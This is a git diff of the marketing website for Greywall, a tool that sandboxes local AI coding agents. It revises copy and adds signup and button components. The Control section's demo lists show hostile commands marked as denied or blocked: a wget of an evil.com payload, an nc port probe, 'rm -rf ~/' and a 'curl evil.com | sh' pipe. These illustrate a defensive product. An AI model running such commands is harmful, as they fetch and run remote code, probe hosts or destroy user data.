where we build custom{' '}
|
||||
<a href="https://greyhaven.co/insights/greyhaven-sovereign-ai-framework" target="_blank" rel="noopener noreferrer" className="text-foreground font-medium hover:text-primary transition-colors">sovereign AI</a> solutions for enterprises.
|
||||
We needed kernel-enforced sandboxing with real-time visibility. Nothing existed, so we built it.
|
||||
We needed kernel-enforced sandboxing with real-time visibility inside client environments, so we built it.
|
||||
</p>
|
||||
<p>
|
||||
It runs in our production deployments every day. We open-sourced it because the security
|
||||
layer around your tools should be independent of the company selling you the AI.
|
||||
We actively maintain it and ship updates regularly.
|
||||
It runs in production deployments today. We open-sourced it because the control layer around the agent should not depend on the company selling the model.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Team */}
|
||||
<div className="mt-16 border-t border-border/30 pt-16 mb-16">
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-8">
|
||||
<h3 className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-8">
|
||||
The people behind it.
|
||||
</h3>
|
||||
<div className="grid grid-cols-1 sm:grid-cols-3 gap-4 sm:gap-6">
|
||||
@@ -52,7 +42,7 @@ export function About() {
|
||||
/>
|
||||
<div>
|
||||
<div className="font-sans font-semibold text-sm text-foreground">Max McCrea</div>
|
||||
<div className="text-xs text-primary font-sans font-medium">CEO & Founder, Greyhaven</div>
|
||||
<div className="text-xs text-muted-foreground font-sans font-medium">CEO & Founder, Greyhaven</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||
AI researcher, Recurse Center alumnus. Built Monadical since 2016. Now building sovereign AI infrastructure.
|
||||
</p>
|
||||
@@ -73,7 +63,7 @@ export function About() {
|
||||
/>
|
||||
<div>
|
||||
<div className="font-sans font-semibold text-sm text-foreground">Nikita Lokhmachev</div>
|
||||
<div className="text-xs text-primary font-sans font-medium">Technical Product Lead</div>
|
||||
<div className="text-xs text-muted-foreground font-sans font-medium">Technical Product Lead</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||
Former startup CTO, Fulbright scholar. Leads AI tooling and process engineering.
|
||||
</p>
|
||||
@@ -94,7 +84,7 @@ export function About() {
|
||||
/>
|
||||
<div>
|
||||
<div className="font-sans font-semibold text-sm text-foreground">Mathieu Virbel</div>
|
||||
<div className="text-xs text-primary font-sans font-medium">Senior Team Lead</div>
|
||||
<div className="text-xs text-muted-foreground font-sans font-medium">Senior Team Lead</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||
Creator of <a href="https://github.com/kivy/kivy" target="_blank" rel="noopener noreferrer" className="text-foreground hover:text-primary transition-colors">Kivy</a> (19k+ stars). Full stack engineer, GSoC mentor.
|
||||
</p>
|
||||
@@ -104,13 +94,11 @@ export function About() {
|
||||
</div>
|
||||
|
||||
<div className="border-t border-border/30 pt-16">
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-4">
|
||||
Need more than sandboxing?
|
||||
<h3 className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-4">
|
||||
Need the rest of the system?
|
||||
</h3>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed max-w-2xl mb-8">
|
||||
Greywall is one piece of a larger platform. For enterprises that need sovereign AI
|
||||
infrastructure, private model deployment, and end-to-end agent orchestration,
|
||||
Greyhaven builds custom solutions on your terms.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground max-w-2xl mb-8">
|
||||
Greywall is one layer in a larger deployment model. For teams that need private model hosting, workflow design, and contained end-to-end systems, Greyhaven builds the surrounding infrastructure.
|
||||
</p>
|
||||
<a
|
||||
href="https://greyhaven.co/contact"
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
import Image from 'next/image'
|
||||
import { CheckCircle2 } from 'lucide-react'
|
||||
|
||||
const agents = [
|
||||
{ name: 'Claude Code', icon: '/agents/anthropics.png', url: 'https://docs.anthropic.com/en/docs/claude-code' },
|
||||
@@ -19,18 +18,14 @@ export function Agents() {
|
||||
<section className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<CheckCircle2 className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Compatibility
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Compatibility
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Works with every agent.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
All agents work perfectly inside their sandbox but can't impact anything outside
|
||||
it. No agent-specific configuration needed.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
Greywall sits under the agent process. If the tool runs locally, it can run inside the same filesystem and network boundaries without agent-specific setup.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
|
||||
109
components/beta-signup.tsx
Normal file
109
components/beta-signup.tsx
Normal file
@@ -0,0 +1,109 @@
|
||||
'use client'
|
||||
|
||||
import { useState, type FormEvent } from 'react'
|
||||
import { Check } from 'lucide-react'
|
||||
import { CTAButton } from './cta-button'
|
||||
|
||||
type Mode = 'button' | 'input' | 'submitting' | 'success' | 'error'
|
||||
|
||||
type BetaSignupProps = {
|
||||
subject: string
|
||||
message: string
|
||||
buttonClassName?: string
|
||||
submitClassName?: string
|
||||
inputClassName?: string
|
||||
helperTextClassName?: string
|
||||
successClassName?: string
|
||||
errorClassName?: string
|
||||
formClassName?: string
|
||||
wrapperClassName?: string
|
||||
}
|
||||
|
||||
export function BetaSignup({
|
||||
subject,
|
||||
message,
|
||||
buttonClassName = '',
|
||||
submitClassName = '',
|
||||
inputClassName = '',
|
||||
helperTextClassName = 'text-xs text-muted-foreground/60 font-serif',
|
||||
successClassName = 'inline-flex items-center gap-2 rounded-md border border-primary/20 bg-primary/[0.05] px-5 py-2.5 font-sans text-sm text-primary font-medium',
|
||||
errorClassName = 'text-xs text-red-400/80 font-sans text-center',
|
||||
formClassName = 'flex items-center gap-2',
|
||||
wrapperClassName = 'flex flex-col items-center gap-2',
|
||||
}: BetaSignupProps) {
|
||||
const [mode, setMode] = useState<Mode>('button')
|
||||
const [email, setEmail] = useState('')
|
||||
const [error, setError] = useState('')
|
||||
|
||||
async function onSubmit(e: FormEvent<HTMLFormElement>) {
|
||||
e.preventDefault()
|
||||
if (mode === 'submitting') return
|
||||
setMode('submitting')
|
||||
setError('')
|
||||
|
||||
try {
|
||||
const res = await fetch('https://api.web3forms.com/submit', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
Accept: 'application/json',
|
||||
},
|
||||
body: JSON.stringify({
|
||||
access_key: '85d3252e-5890-450c-aa93-12dc89c7c9b5',
|
||||
subject,
|
||||
from_name: 'Greywall waitlist',
|
||||
email,
|
||||
message,
|
||||
botcheck: '',
|
||||
}),
|
||||
})
|
||||
|
||||
const data = await res.json()
|
||||
if (data.success) {
|
||||
setMode('success')
|
||||
setEmail('')
|
||||
} else {
|
||||
setMode('error')
|
||||
setError(data.message || 'Something went wrong. Try again?')
|
||||
}
|
||||
} catch {
|
||||
setMode('error')
|
||||
setError('Network error. Try again?')
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
<div className={wrapperClassName}>
|
||||
{mode === 'button' && (
|
||||
<CTAButton onClick={() => setMode('input')} className={buttonClassName}>
|
||||
Talk to us
|
||||
<span aria-hidden="true">→</span>
|
||||
</CTAButton>
|
||||
)}
|
||||
{(mode === 'input' || mode === 'submitting') && (
|
||||
<form onSubmit={onSubmit} className={formClassName}>
|
||||
<input
|
||||
type="email"
|
||||
required
|
||||
value={email}
|
||||
onChange={(e) => setEmail(e.target.value)}
|
||||
placeholder="you@company.com"
|
||||
autoFocus
|
||||
className={inputClassName}
|
||||
/>
|
||||
<CTAButton type="submit" disabled={mode === 'submitting'} className={submitClassName}>
|
||||
{mode === 'submitting' ? '...' : 'Join'}
|
||||
</CTAButton>
|
||||
</form>
|
||||
)}
|
||||
{mode === 'success' && (
|
||||
<div className={successClassName}>
|
||||
<Check className="h-4 w-4" />
|
||||
Thanks — we'll be in touch.
|
||||
</div>
|
||||
)}
|
||||
{mode === 'error' && <p className={errorClassName}>{error}</p>}
|
||||
<p className={helperTextClassName}>Running Greywall across multiple teams? We're building a managed governance layer.</p>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
'use client'
|
||||
|
||||
import { ArrowRight, Check, X, Minus } from 'lucide-react'
|
||||
import { Check, X, Minus } from 'lucide-react'
|
||||
|
||||
type CellValue = 'yes' | 'no' | 'partial' | string
|
||||
|
||||
@@ -138,17 +138,14 @@ export function Comparison() {
|
||||
<section id="comparison" className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<ArrowRight className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
How it compares
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Not all sandboxes are equal.
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
How it compares
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Different tools enforce different boundaries.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
Security that adds friction doesn't get used. Here's how Greywall compares to the alternatives.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
Greywall combines filesystem controls, network controls, command blocking, and runtime visibility in one local tool.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
@@ -160,7 +157,7 @@ export function Comparison() {
|
||||
<th className="text-left py-3 sm:py-3.5 px-3 sm:px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||
Feature
|
||||
</th>
|
||||
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
|
||||
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-foreground">
|
||||
Greywall
|
||||
</th>
|
||||
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
'use client'
|
||||
|
||||
import { ShieldCheck, FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
|
||||
import { FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
|
||||
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||
|
||||
const tree = [
|
||||
@@ -22,15 +22,15 @@ const accessLabels: Record<string, string> = {
|
||||
}
|
||||
|
||||
function badgeClasses(color: string) {
|
||||
if (color === 'green') return 'bg-green-400/10 text-green-400/80'
|
||||
if (color === 'yellow') return 'bg-yellow-400/10 text-yellow-400/70'
|
||||
return 'bg-red-400/10 text-red-400/70'
|
||||
if (color === 'green') return 'bg-emerald-50 text-emerald-700'
|
||||
if (color === 'yellow') return 'bg-amber-50 text-amber-700'
|
||||
return 'bg-red-50 text-red-600'
|
||||
}
|
||||
|
||||
function textColor(color: string) {
|
||||
if (color === 'green') return 'text-green-400/80'
|
||||
if (color === 'yellow') return 'text-yellow-400/70'
|
||||
return 'text-red-400/70'
|
||||
if (color === 'green') return 'text-emerald-600'
|
||||
if (color === 'yellow') return 'text-amber-600'
|
||||
return 'text-red-500'
|
||||
}
|
||||
|
||||
export function Control() {
|
||||
@@ -41,18 +41,14 @@ export function Control() {
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
|
||||
<div className="max-w-2xl">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<ShieldCheck className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Control
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Nothing is allowed unless you say so.
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Control
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Default deny. Explicit allow.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
Greywall gives teams and AI agents the freedom to operate within precise security
|
||||
boundaries.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
An agent normally inherits your user account. Greywall reverses that default: filesystem paths, network access, and blocked commands all begin closed until you allow them.
|
||||
</p>
|
||||
</div>
|
||||
<PlatformToggle />
|
||||
@@ -60,9 +56,9 @@ export function Control() {
|
||||
|
||||
<div className="grid grid-cols-1 lg:grid-cols-2 gap-4 sm:gap-6">
|
||||
{/* Directory tree visualization */}
|
||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<FolderLock className="h-5 w-5 text-primary" />
|
||||
<FolderLock className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
|
||||
</div>
|
||||
<div className="space-y-1 font-mono text-xs sm:text-sm">
|
||||
@@ -78,15 +74,14 @@ export function Control() {
|
||||
))}
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
|
||||
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files
|
||||
are always protected, even inside allowed directories.
|
||||
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files stay protected even when nearby directories are allowed.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Network isolation */}
|
||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<Wifi className="h-5 w-5 text-primary" />
|
||||
<Wifi className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">Network isolation</h3>
|
||||
</div>
|
||||
{platform === 'linux' ? (
|
||||
@@ -98,31 +93,29 @@ export function Control() {
|
||||
<div className="font-mono text-xs space-y-1">
|
||||
<div><span className="text-muted-foreground">bwrap</span> <span className="text-primary/80">--unshare-net</span> <span className="text-muted-foreground">\ </span></div>
|
||||
<div className="ml-4"><span className="text-muted-foreground">tun2socks -device tun0 \</span></div>
|
||||
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
|
||||
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-emerald-300">socks5://localhost:43052</span></div>
|
||||
</div>
|
||||
</div>
|
||||
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
|
||||
<span className="text-green-400/70 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
||||
<span className="text-foreground truncate">curl https://api.anthropic.com</span>
|
||||
<span className="text-emerald-300 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
|
||||
<span className="text-green-400/70 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
||||
<span className="text-foreground truncate">npm install lodash</span>
|
||||
<span className="text-emerald-300 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
|
||||
<span className="text-red-400/70 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
||||
<span className="text-foreground truncate">wget https://evil.com/payload</span>
|
||||
<span className="text-red-300 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
|
||||
<span className="text-red-400/70 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
||||
<span className="text-foreground truncate">nc -z 10.0.0.1 22</span>
|
||||
<span className="text-red-300 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
Full network namespace isolation. The process can't see the host network.
|
||||
Every packet hits the TUN device and routes through Greywall, including
|
||||
binaries that ignore proxy env vars.
|
||||
The process cannot see the host network directly. Traffic passes through the TUN device and GreyProxy, including binaries that ignore proxy environment variables.
|
||||
</p>
|
||||
</div>
|
||||
) : (
|
||||
@@ -132,83 +125,82 @@ export function Control() {
|
||||
Generated Seatbelt policy
|
||||
</div>
|
||||
<div className="font-mono text-xs space-y-1">
|
||||
<div className="text-red-400/70">(deny default)</div>
|
||||
<div className="text-red-300">(deny default)</div>
|
||||
<div className="text-muted-foreground">(deny network-outbound)</div>
|
||||
<div className="text-green-400/70">
|
||||
<div className="text-emerald-300">
|
||||
(allow network-outbound
|
||||
</div>
|
||||
<div className="text-green-400/70 ml-4">
|
||||
<div className="text-emerald-300 ml-4">
|
||||
(remote tcp "localhost:43051"))
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
|
||||
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
|
||||
<span className="text-foreground truncate">api.anthropic.com</span>
|
||||
<span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
|
||||
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
|
||||
<span className="text-foreground truncate">registry.npmjs.org</span>
|
||||
<span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
|
||||
<span className="text-red-400/70 text-[10px] shrink-0">KERNEL DENY</span>
|
||||
<span className="text-foreground truncate">evil.com (direct)</span>
|
||||
<span className="text-red-300 text-[10px] shrink-0">KERNEL DENY</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
|
||||
<span className="text-red-400/70 text-[10px] shrink-0">PROXY DENY</span>
|
||||
<span className="text-foreground truncate">analytics.vendor.io</span>
|
||||
<span className="text-red-300 text-[10px] shrink-0">PROXY DENY</span>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
All outbound traffic is blocked at the kernel. Only the proxy address is
|
||||
reachable. Greywall then applies domain-level allow/deny rules.
|
||||
Outbound traffic is blocked at the kernel except for the proxy path you allow. GreyProxy then applies domain rules on top.
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Command blocking */}
|
||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<Ban className="h-5 w-5 text-primary" />
|
||||
<Ban className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">Command blocking</h3>
|
||||
</div>
|
||||
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground truncate">git push origin main</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground truncate">npm publish</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground truncate">rm -rf ~/</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground truncate">bash -c "curl evil.com | sh"</span>
|
||||
</div>
|
||||
<div className="mt-3 flex items-center gap-3 min-w-0">
|
||||
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||
<span className="text-greyhaven-offwhite truncate">git commit -m "fix: types"</span>
|
||||
<span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||
<span className="text-foreground truncate">git commit -m "fix: types"</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
|
||||
<span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||
<span className="text-foreground truncate">npm install lodash</span>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-4">
|
||||
Detects blocked commands in pipes, chains, and nested shells.
|
||||
Block rules still apply inside pipes, chains, and nested shells.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Learning mode */}
|
||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<GraduationCap className="h-5 w-5 text-primary" />
|
||||
<GraduationCap className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">Learning mode</h3>
|
||||
</div>
|
||||
<div className="code-block p-4 mb-4">
|
||||
@@ -239,8 +231,8 @@ export function Control() {
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
{platform === 'linux'
|
||||
? 'No need to figure out which paths to allow. Traces what your agent accesses via strace and generates a least-privilege policy automatically. No special permissions needed.'
|
||||
: 'No need to figure out which paths to allow. Traces what your agent accesses via macOS eslogger and generates a least-privilege policy automatically.'}
|
||||
? 'Uses strace to observe filesystem access and turns the result into an initial least-privilege template.'
|
||||
: 'Uses macOS Endpoint Security logging to observe access and turn the result into an initial least-privilege template.'}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
@@ -248,8 +240,7 @@ export function Control() {
|
||||
<div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
<span className="text-primary font-medium">Independent enforcement.</span>{' '}
|
||||
The security layer around your AI tools should be independent of the company selling you
|
||||
the AI, for the same reason you shouldn't let a bank audit itself.
|
||||
The control layer around the agent should remain separate from the vendor providing the model. The boundary needs its own point of control.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
38
components/cta-button.tsx
Normal file
38
components/cta-button.tsx
Normal file
@@ -0,0 +1,38 @@
|
||||
import type { ReactNode } from 'react'
|
||||
|
||||
type CTAButtonProps = {
|
||||
children: ReactNode
|
||||
className?: string
|
||||
type?: 'button' | 'submit'
|
||||
href?: string
|
||||
onClick?: () => void
|
||||
disabled?: boolean
|
||||
}
|
||||
|
||||
const baseClassName =
|
||||
'bg-primary text-serif text-[12px] md:text-[15px] leading-[140%] tracking-[-0.02em] font-semibold flex items-center gap-2 text-white! px-4 py-3 rounded-md transition-all duration-150 shadow-md hover:shadow-lg'
|
||||
|
||||
export function CTAButton({
|
||||
children,
|
||||
className = '',
|
||||
type = 'button',
|
||||
href,
|
||||
onClick,
|
||||
disabled = false,
|
||||
}: CTAButtonProps) {
|
||||
const fullClassName = `${baseClassName} ${disabled ? 'cursor-not-allowed opacity-50' : ''} ${className}`.trim()
|
||||
|
||||
if (href) {
|
||||
return (
|
||||
<a href={href} className={fullClassName}>
|
||||
{children}
|
||||
</a>
|
||||
)
|
||||
}
|
||||
|
||||
return (
|
||||
<button type={type} onClick={onClick} disabled={disabled} className={fullClassName}>
|
||||
{children}
|
||||
</button>
|
||||
)
|
||||
}
|
||||
@@ -1,43 +1,43 @@
|
||||
'use client'
|
||||
|
||||
import { useState } from 'react'
|
||||
import { HelpCircle, ChevronDown } from 'lucide-react'
|
||||
import { ChevronDown } from 'lucide-react'
|
||||
|
||||
const faqs = [
|
||||
{
|
||||
question: 'What is Greywall?',
|
||||
answer:
|
||||
'Greywall is a command-line tool that sandboxes AI coding agents. You wrap your agent in it — <code>greywall -- claude</code> — and nothing is accessible unless you explicitly allow it. The agent can read and write your project files, but it cannot touch your SSH keys, read your .env, or make network calls you haven\'t approved. It works on Linux and macOS, requires no containers, and is open source under the Apache 2.0 license. The basic promise is modest: your AI assistant should not have more access to your computer than you would give a stranger at a coffee shop.',
|
||||
'Greywall is a command-line tool for running AI agents inside a contained local boundary. Prefix the agent command with <code>greywall --</code> and Greywall applies deny-by-default controls for filesystem access, network access, and blocked commands at the OS layer. It works on Linux and macOS and is open source under Apache 2.0.',
|
||||
},
|
||||
{
|
||||
question: 'How do I sandbox my AI coding agent?',
|
||||
answer:
|
||||
'Install Greywall, then prefix your command: <code>greywall -- claude</code>, <code>greywall -- opencode</code>, or any other CLI agent. That is the whole process. Greywall operates at the OS level, so it does not need plugins, extensions, or agent-specific configuration. The agent launches inside a kernel-enforced sandbox and runs normally — it just cannot reach things you have not explicitly allowed. If you want to see what the agent is trying to access, open the Greywall dashboard.',
|
||||
'Install Greywall, then prefix the command you already use: <code>greywall -- claude</code>, <code>greywall -- opencode</code>, or another local CLI agent. Greywall operates below the agent, so it does not need plugins or agent-specific configuration. If you want to inspect what the agent attempted, open the GreyProxy dashboard.',
|
||||
},
|
||||
{
|
||||
question: 'How is Greywall different from running agents in Docker?',
|
||||
answer:
|
||||
'Containers were designed to ship software, not to babysit it. When you run an AI agent inside Docker, you get isolation, but you lose access to your local tools, editor integrations, and filesystem. Every dependency change means rebuilding an image. That friction is why most people just don\'t bother. Greywall takes a different approach: the agent runs natively on your machine with full access to your toolchain, but the kernel enforces boundaries around what it can reach. Think of it as the difference between locking someone in a room versus letting them walk around the house with certain doors locked. You also get real-time visibility into what the agent is doing, which Docker does not offer.',
|
||||
'Containers isolate software well, but they often separate the agent from the local toolchain and working copy you actually need. Greywall keeps the agent in the normal local environment while enforcing boundaries around what it can read, write, execute, or reach on the network. It also records denied operations and live requests, which a basic container setup does not provide by itself.',
|
||||
},
|
||||
{
|
||||
question: 'Does Greywall work on macOS?',
|
||||
answer:
|
||||
'Yes. On macOS, Greywall uses Seatbelt — Apple\'s built-in kernel sandbox, the same one that constrains App Store applications. It generates a sandbox profile for each session that blocks everything unless explicitly allowed, covering filesystem access, network connections, and IPC. Network traffic is routed through Greywall via environment variables. On Linux, there are more layers available (Bubblewrap, Landlock, Seccomp BPF, eBPF, and a TUN device for network capture), but the macOS implementation provides strong isolation using only built-in OS capabilities. No additional packages required.',
|
||||
'Yes. On macOS, Greywall uses Seatbelt, Apple's built-in sandbox facility. It generates a deny-by-default profile per session for filesystem access, network connections, and IPC. Linux has more available layers, but the macOS path still provides strong local containment using built-in OS capabilities.',
|
||||
},
|
||||
{
|
||||
question: 'Is Greywall open source?',
|
||||
answer:
|
||||
'Yes. Apache 2.0 license, source code on <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">GitHub</a>. For a security tool, this is not a philosophical position so much as a practical necessity. You should be able to read the code that stands between an AI agent and your production credentials. Greywall is built by <a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer">Greyhaven</a>, who use it in their own production deployments. As the saying goes — never trust a lock you cannot pick apart.',
|
||||
